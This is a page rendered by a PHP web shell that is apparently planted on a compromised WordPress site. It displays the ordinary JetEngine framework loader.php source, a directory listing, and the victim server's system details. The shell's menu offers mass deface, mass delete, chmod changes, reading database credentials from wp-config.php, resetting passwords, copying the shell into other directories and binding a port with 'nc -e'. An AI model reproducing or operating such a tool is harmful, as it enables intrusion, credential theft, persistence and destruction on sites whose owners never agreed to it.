WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-engine / framework / [dxwrx-r--r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-engine/framework/loader.php (6.72 KB)
<?php
/**
 * Cherry X framework loader class.
 *
 * How to use:
 *
 * 1. Copy and include this class into your theme/plugin
 * 2. Add unique prefix for the class name, e.g. - Twentyseventeen_Jet_Engine_CX_Loader
 * 3. Initialize loader on after_setup_theme hook with priority -20, Example:
 *
 * add_action( 'after_setup_theme', 'twentyseventeen_framework_loader', -20 );
 * function twentyseventeen_framework_loader() {
 *     require get_theme_file_path( 'framework/loader.php' );
 *     new Twentyseventeen_Jet_Engine_CX_Loader(
 *         array(
 *             get_theme_file_path( 'framework/modules/module-1/module-1.php' ),
 *             get_theme_file_path( 'framework/modules/module-2/module-2.php' ),
 *             get_theme_file_path( 'framework/modules/module-3/module-3.php' ),
 *         )
 *     );
 * }
 *
 * Notes:
 *
 * 1. This class only select latest version of each module from all Cherry X frameworks loaded in current environment
 * 2. You should manually initialize selected modules later, when them will be needed you, but not eralier than after_setup_theme hook with priority 0.
 */

// If this file is called directly, abort.
if ( ! defined( 'WPINC' ) ) {
	die;
}

if ( ! class_exists( 'Jet_Engine_CX_Loader' ) ) {

	/**
	 * Define Jet_Engine_CX_Loader class
	 */
	class Jet_Engine_CX_Loader {

		/**
		 * Key for object cache where are stored information about all modules in current environment
		 *
		 * @var string
		 */
		private $key = 'cherry_x_modules';

		/**
		 * Holder for modules list of current loader instance.
		 *
		 * @var array
		 */
		private $modules = array();

		/**
		 * Holder for modules slugs list of current loader instance.
		 *
		 * @var array
		 */
		private $modules_slugs = array();

		/**
		 * Included modules paths and URLs
		 *
		 * @var array
		 */
		private $included_modules = array();

		/**
		 * Loads latest versions of all modules passed into modules array
		 *
		 * @param array $modules List of loaded modules. Format:
		 * array(
		 *     get_theme_file_path( 'framework/modules/module-1/module-1.php' ),
		 *     get_theme_file_path( 'framework/modules/module-2/module-2.php' ),
		 *     get_theme_file_path( 'framework/modules/module-3/module-3.php' ),
		 * )
		 */
		public function __construct( array $modules = array() ) {

			$this->modules = $modules;

			add_action( 'after_setup_theme', array( $this, 'store_versions' ), -10 );
			add_action( 'after_setup_theme', array( $this, 'include_modules' ), -1 );

		}

		/**
		 * Store versions for modules passed in current instance into global modules versions list
		 *
		 * @return void
		 */
		public function store_versions() {

			foreach ( $this->modules as $module ) {
				$this->store_module_version( $module );
			}

		}

		/**
		 * Include latest versions of modules in current loader instance.
		 * All available version preiously stored by 'store_versions' methods of each loader instance.
		 *
		 * @return boolean
		 */
		public function include_modules() {

			$modules_data = $this->cache_get();

			foreach ( $this->modules_slugs as $slug ) {

				if ( empty( $modules_data[ $slug ] ) ) {
					continue;
				}

				$path = $this->get_latest_version_path( $modules_data[ $slug ] );

				if ( file_exists( $path ) ) {

					$dir = pathinfo( $path, PATHINFO_DIRNAME );

					$normalize_dir = wp_normalize_path( $dir );
					$plugin_dir    = wp_normalize_path( WP_PLUGIN_DIR );

					if ( 0 === strpos( $normalize_dir, $plugin_dir ) ) {
						$url = str_replace(
							'\\',
							'/',
							str_replace( $plugin_dir, plugins_url(), $normalize_dir )
						);
					} else {
						$url = str_replace(
							'\\',
							'/',
							str_replace( wp_normalize_path( WP_CONTENT_DIR ), content_url(), $normalize_dir )
						);
					}

					$this->included_modules[ $slug ] = array(
						'path' => trailingslashit( $dir ),
						'url'  => apply_filters( 'cx_include_module_url', trailingslashit( $url ), $path ),
					);

					require_once $path;

				}

			}

			return true;

		}

		/**
		 * Retireve path and URL of included module directory
		 *
		 * @param  string $file Module file path.
		 * @return array|false Module data or false if not found.
		 */
		public function get_included_module_data( $file ) {
			return isset( $this->included_modules[ $file ] ) ? $this->included_modules[ $file ] : false;
		}

		/**
		 * Select latest version path from all available.
		 *
		 * @param  array  $module_versions All available vaerions paths for selected module
		 * @return string Module path.
		 */
		private function get_latest_version_path( array $module_versions = array() ) {

			// Immediately return path if array contain sinle element.
			if ( 1 === count( $module_versions ) ) {
				$module_versions = array_values( $module_versions );
				return $module_versions[0];
			}

			// Sort array by version and return highest
			uksort( $module_versions, 'version_compare' );
			return end( $module_versions );
		}

		/**
		 * Store passed module version and path into global modules data.
		 *
		 * @param  string $module_path Module path
		 * @return boolean
		 */
		private function store_module_version( $module_path = null ) {

			$slug         = basename( $module_path );
			$modules_data = $this->cache_get();
			$modules_data = ! empty( $modules_data ) ? $modules_data : array();

			if ( empty( $modules_data[ $slug ] ) ) {
				$modules_data[ $slug ] = array();
			}

			$filedata = get_file_data( $module_path, array(
				'version' => 'Version',
			) );

			if ( empty( $filedata['version'] ) ) {
				// If version not passed in file header, so module defined not correctly and not be included
				return false;
			}

			$current_version = $filedata['version'];

			if ( empty( $modules_data[ $slug ][ $current_version ] ) ) {
				$modules_data[ $slug ][ $current_version ] = $module_path;
			}

			$this->modules_slugs[] = $slug;

			$this->cache_set( $modules_data );

			return true;

		}

		/**
		 * Set modules data cache.
		 *
		 * @return void
		 */
		public function cache_set( $modules_data = array() ) {
			global $cx_modules_data;
			$cx_modules_data = $modules_data;
			wp_cache_set( $this->key, $modules_data, '', 1 );
		}

		/**
		 * Get modules data cache.
		 *
		 * @return array
		 */
		public function cache_get() {

			$modules_data = wp_cache_get( $this->key );

			if ( ! is_array( $modules_data ) ) {
				$modules_data = array();
			}

			global $cx_modules_data;

			if ( ! empty( $cx_modules_data ) ) {
				foreach ( $cx_modules_data as $slug => $versions ) {
					if ( empty( $modules_data[ $slug ] ) ) {
						$modules_data[ $slug ] = $versions;
					} else {
						foreach ( $versions as $version => $path ) {
							if ( empty( $modules_data[ $slug ][ $version ] ) ) {
								$modules_data[ $slug ][ $version ] = $path;
							}
						}
					}
				}
			}

			return $modules_data;
		}
	}

}
namawaktuukuranownerpermaksi
..
admin-bar/ 2026-07-21 14:159.69 KB 76129f60960:kundendxwrx-r--r
agent-ui/ 2026-07-21 14:15299.02 KB 76129f60960:kundendxwrx-r--r
blocks-style-manager/ 2026-07-21 14:15179.61 KB 76129f60960:kundendxwrx-r--r
db-updater/ 2026-07-21 14:156.91 KB 76129f60960:kundendxwrx-r--r
interface-builder/ 2026-07-21 14:15455.95 KB 76129f60960:kundendxwrx-r--r
jet-dashboard/ 2026-07-21 14:15525.13 KB 76129f60960:kundendxwrx-r--r
jet-elementor-extension/ 2026-07-21 14:1522.04 KB 76129f60960:kundendxwrx-r--r
knowledge-base-search/ 2026-07-21 14:1516.58 KB 76129f60960:kundendxwrx-r--r
macros/ 2026-07-21 14:1516.69 KB 76129f60960:kundendxwrx-r--r
post-meta/ 2026-07-21 14:1520.86 KB 76129f60960:kundendxwrx-r--r
term-meta/ 2026-07-21 14:1513.45 KB 76129f60960:kundendxwrx-r--r
vue-ui/ 2026-07-21 14:15797.61 KB 76129f60960:kundendxwrx-r--r
workflows/ 2026-07-21 14:1565.53 KB 76129f60960:kundendxwrx-r--r
loader.php 2026-07-21 14:156.72 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-engine/framework
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK